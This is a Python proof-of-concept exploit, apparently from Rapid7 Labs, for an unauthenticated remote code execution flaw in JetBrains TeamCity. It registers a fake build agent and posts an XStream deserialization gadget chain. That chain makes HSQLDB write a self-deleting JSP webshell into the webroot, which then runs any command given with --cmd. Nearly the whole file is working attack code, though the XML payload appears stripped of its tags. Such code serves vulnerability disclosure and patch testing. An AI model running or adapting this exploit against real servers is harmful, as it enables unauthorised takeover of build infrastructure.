#!/usr/bin/env python3 r"""PoC for TeamCity CVE-2026-63077. The script builds the complete XStream gadget graph in memory, registers a synthetic polling agent, sends the graph to the unauthenticated error-command endpoint, and requests a randomized one-shot ``.jspws`` terminal. The command is supplied with ``--cmd`` and defaults to: notepad.exe It deletes its own source before execution and emits a per-run response token only after ``Runtime.exec()`` successfully creates the process. It deliberately does not wait for the process to exit, so interactive commands do not block the HTTP response. """ from __future__ import annotations import argparse import json import secrets import ssl import sys import textwrap import urllib.error import urllib.parse import urllib.request from pathlib import Path from xml.sax.saxutils import escape def xml_text(value: str) -> str: """Encode dynamic element text, including quotes for easy auditing.""" return escape(value, {'"': """, "'": "'"}) def sql_string(value: str) -> str: """Return an HSQLDB single-quoted string literal.""" return "'" + value.replace("'", "''") + "'" def java_string(value: str) -> str: """Return a Java-compatible double-quoted string literal. JSON and Java use the same escapes for the ASCII values used by the PoC. Keeping this as a function makes the Java -> SQL -> XML encoding layers explicit instead of relying on a pre-escaped payload blob. """ return json.dumps(value, ensure_ascii=True) def random_token() -> str: """Return an independent identifier suitable for Java, SQL, and XML.""" return secrets.token_hex(6) def random_tokens(count: int) -> tuple[str, ...]: """Return distinct random identifiers in generation order.""" values: list[str] = [] while len(values) < count: value = random_token() if value not in values: values.append(value) return tuple(values) def build_registration_xml() -> bytes: """Build a unique synthetic-agent registration document.""" agent_name, auth_token = map(xml_text, random_tokens(2)) return f""" """.encode("utf-8") def build_jsp_scriptlet( jsp_path: str, guard: str, response_token: str, command: str ) -> str: """Build the JSP terminal embedded in the HSQLDB script. A randomized application attribute prevents the compiled servlet from executing twice. Deleting the source first also makes deletion failure a fail-closed condition: the operating-system command is not reached. The template is kept multiline here for readability. It is compacted only before being returned because the HSQLDB/JSP polyglot must occupy one physical SQL row in the generated SCRIPT file. """ scriptlet = f""" <% if (application.getAttribute({java_string(guard)}) == null) {{ application.setAttribute( {java_string(guard)}, java.lang.Boolean.TRUE ); java.nio.file.Files.deleteIfExists( java.nio.file.Path.of( application.getRealPath({java_string(jsp_path)}) ) ); java.lang.Runtime.getRuntime().exec({java_string(command)}); out.print({java_string(response_token)}); }} %> """ # HSQLDB SCRIPT serializes the table row into the JSP/SQL polyglot. Keeping # the scriptlet on one physical line prevents row formatting from splitting # the JSP element while preserving the readable template above. return " ".join( line.strip() for line in textwrap.dedent(scriptlet).splitlines() if line.strip() ) def build_payload(webroot_relative: str, command: str) -> tuple[bytes, str, bytes]: """Build and return ``(payload_xml, jsp_uri, expected_response_token)``. The surrounding Python comments document each gadget stage. Dynamic SQL is encoded in three deliberate steps: Java string literals, HSQLDB string literals, then XML element text. """ if not webroot_relative or any( character in webroot_relative for character in "\x00\r\n" ): raise ValueError("webroot-relative must be a non-empty single line") if not command or any(character in command for character in "\x00\r\n"): raise ValueError("cmd must be a non-empty single line") ( file_id, guard, response_token, database_name, table_id, column_id, *map_keys, ) = random_tokens(9) filename = f"{file_id}.jspws" jsp_uri = f"/{filename}" normalized_webroot = webroot_relative.replace("\\", "/").rstrip("/") if not normalized_webroot: raise ValueError("webroot-relative must identify a directory") output_path = f"{normalized_webroot}/{filename}" table_name = f"T{table_id.upper()}" column_name = f"C{column_id.upper()}" jsp = build_jsp_scriptlet(jsp_uri, guard, response_token, command) init_sql = ( f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))", f"INSERT INTO {table_name} VALUES ({sql_string(jsp)})", f"SCRIPT {sql_string(output_path)}", ) # Stage 1 uses a Throwable permitted by XStream 1.4.20.3's default # hierarchy permission. Its exact declared fields allocate the otherwise # denied HSQL storage and BasicDataSource objects without a new class node. # # Stage 2 uses exact FreeMarker fields and reference-only nodes to relocate # BasicDataSource into a BooleanModel without repeating its type check. # # Stage 3 reconstructs a HashSet. TiedMapEntry.hashCode() asks HashAdapter # for "connection", so BeanModel invokes BasicDataSource.getConnection() # and DBCP runs the three HSQLDB initialization statements above. payload = f""" {map_keys[0]} -1 true org.hsqldb.jdbc.JDBCDriver true 8 8 0 0 -1 false false -1 false true false -1 3 1800000 -1 org.apache.commons.pool2.impl.DefaultEvictionPolicy false {xml_text(f'jdbc:hsqldb:mem:{database_name}')} SA -1 {xml_text(init_sql[0])} {xml_text(init_sql[1])} {xml_text(init_sql[2])} false -1 true true true false false false false {map_keys[1]} 0 false false 2 3 0 2003000 2.3.0 0 false false 0 false false 0 true false false true {map_keys[2]} connection """.encode("utf-8") return payload, jsp_uri, response_token.encode("utf-8") def request( url: str, *, timeout: float, body: bytes | None = None, headers: dict[str, str] | None = None, ) -> tuple[int, dict[str, str], bytes]: """Make one request with an unverified TLS context and retain error bodies.""" method = "POST" if body is not None else "GET" req = urllib.request.Request( url, data=body, headers=headers or {}, method=method ) try: response = urllib.request.urlopen( req, timeout=timeout, context=ssl._create_unverified_context(), ) status = response.status except urllib.error.HTTPError as error: response = error status = error.code try: response_headers = { key.lower(): value for key, value in response.headers.items() } return status, response_headers, response.read() finally: response.close() def main() -> int: parser = argparse.ArgumentParser() parser.add_argument( "base_url", help="TeamCity base URL, for example http://192.168.86.171:8111", ) parser.add_argument( "--cmd", default="notepad.exe", help="operating-system command passed to Runtime.exec() (default: notepad.exe)", ) parser.add_argument( "--webroot-relative", default="../webapps/ROOT", help=( "TeamCity webroot relative to HSQLDB's process working directory " "(default: ../webapps/ROOT for the stock Windows installation)" ), ) parser.add_argument( "--dump-payload", type=Path, help="optional path for the generated XML payload", ) parser.add_argument( "--response-out", type=Path, help="optional path for the final JSP response body", ) parser.add_argument( "--http-timeout", type=float, default=15.0, help="timeout in seconds for each HTTP request", ) args = parser.parse_args() base = args.base_url.rstrip("/") print("=======================================================================================") print("Rapid7 Labs - JetBrains TeamCity unauthenticated RCE via agent polling (CVE-2026-63077)") print("=======================================================================================") print(f"[+] Targeting: {base}") command_id = str(secrets.randbelow(900_000) + 100_000) try: if args.http_timeout <= 0: raise ValueError("http-timeout must be greater than zero") parsed = urllib.parse.urlparse(base) if parsed.scheme not in ("http", "https") or not parsed.hostname: raise ValueError("target must be an HTTP(S) URL with a host") if parsed.username or parsed.password: raise ValueError("credentials are not accepted in the target URL") if parsed.query or parsed.fragment: raise ValueError("target URL must not contain a query or fragment") payload, jsp_path, expected_response = build_payload( args.webroot_relative, args.cmd ) registration = build_registration_xml() if args.dump_payload: args.dump_payload.write_bytes(payload) except (OSError, ValueError) as exc: print(str(exc), file=sys.stderr) return 1 try: status, headers, body = request( f"{base}/app/agents/v1/register", timeout=args.http_timeout, body=registration, headers={"Content-Type": "application/xml"}, ) session = headers.get("teamcity-agentsessionid") if status != 200 or not session: print(f"[-] registration failed: HTTP {status}", file=sys.stderr) if body: print( body.decode("utf-8", errors="replace")[:400], file=sys.stderr, ) return 1 command_status, _, command_body = request( f"{base}/app/agents/v1/commands/error", timeout=args.http_timeout, body=payload, headers={ "Content-Type": "application/xml", "TeamCity-AgentSessionId": session, "TeamCity-AgentCommandId": command_id, }, ) jsp_status, _, jsp_body = request( f"{base}{jsp_path}", timeout=args.http_timeout ) if args.response_out: args.response_out.write_bytes(jsp_body) except OSError as exc: print(f"[-] request failed: {exc}", file=sys.stderr) return 1 print(f"[+] Registering session: /app/agents/v1/register returned session {session}") print(f"[+] Triggering deserialization: /app/agents/v1/commands/error returned HTTP {command_status}") print(f"[+] Triggering JSPWS payload: {jsp_path} returned HTTP {jsp_status}") if jsp_status == 200 and expected_response in jsp_body: print(f"[+] Command executed: {args.cmd}") return 0 print("[-] per-run token was not returned by the one-shot JSP", file=sys.stderr) if command_body: print( command_body.decode("utf-8", errors="replace")[:400], file=sys.stderr, ) return 1 if __name__ == "__main__": raise SystemExit(main())